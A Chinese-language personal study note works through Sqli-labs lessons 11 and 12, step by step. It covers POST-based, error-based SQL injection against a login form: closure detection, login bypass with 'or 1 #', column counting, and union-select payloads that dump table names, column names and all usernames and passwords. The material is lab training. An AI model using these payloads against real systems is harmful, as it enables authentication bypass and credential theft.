声明:
由于笔者能力有限,难免出现各种错误和漏洞。全文仅作为个人笔记,仅供参考。
笔记内容来源于各类网课。
环境:
以Sqli-labs中的less11,12为实验环境。
一、实验(POST方式的基于报错的字符型注入-单引号)
1. 使用POST方式传入参数
输入的uname和passwd能影响页面显示。
2. 测试语句能否报错
使uname=1‘,能报错。
可以看出passwod使单引号闭合。但是报错的语句很难看出uname用什么闭合。
使uname=1’“,爆出uname附近SQL语句错误。
可以看出我们的3”后使用的是单引号闭合。可以推测出SQL语句样式。
select columns... from table_name where username='$uname' and password='$passwd'
判断这是一个POST类型的字符型注入(单引号闭合)。
3. 测试语句能否恶意执行(能不报错)
令uname=1’ or 1 #,可以登陆成功,表示我们的语句被执行了。
确定了有注入的可能。
4. 判断内部查询返回的字段数
使用order by判断字段数为2。
5. 判断当前页面使用的字段(查询回显点)
得到1,2的回显位置。
6. 获取当前的数据名,用户名
uname=1' union select user(),database() #
得到当前的用户为root,数据库为security。
7. 获取当前数据库的表名
uname=1' union select count(table_name),group_concat(table_name)
from information_schema.tables where table_schema = database() #
得到当前的表为4个,和4个表名。
8. 获取当前数据库的users表的字段名
uname=1' union
select count(column_name),group_concat(column_name)
from information_schema.columns
where table_schema = database() and table_name = 'users' #
得到当前有3个字段,和对应的字段名。
9. 获取users的所有户名和密码
uname=1' union select count(username),
group_concat(concat_ws(':',username,password,0x3c62723e))
from users #
二、实验(POST方式的基于报错的字符型注入-双引号)
1. 使用POST方式传入参数
同实验一,uname和passwd的参数值可以影响页面。
2. 测试语句能否报错
使用uname=1‘,没有报错。
使用uname=1",报错。为了看到uname附近的语句。
使用id=1”‘。
可以判断出,闭合方式是双引号+一个括号的方式。猜测SQL语句为:
select columns... from table_name where username=("$uname") and password=("$passwd")
是一个POST方式的字符型注入(双引号、括号闭合)。
3. 测试语句能否恶意执行(能不报错)
uname=1") or 1 #
可以判断有注入点存在。
4. 判断内部查询返回的字段数
uname=1") order by 2 #
uname=1") order by 3 #
得到字段数为2.
后面的步骤与实验一的方法一样操作即可。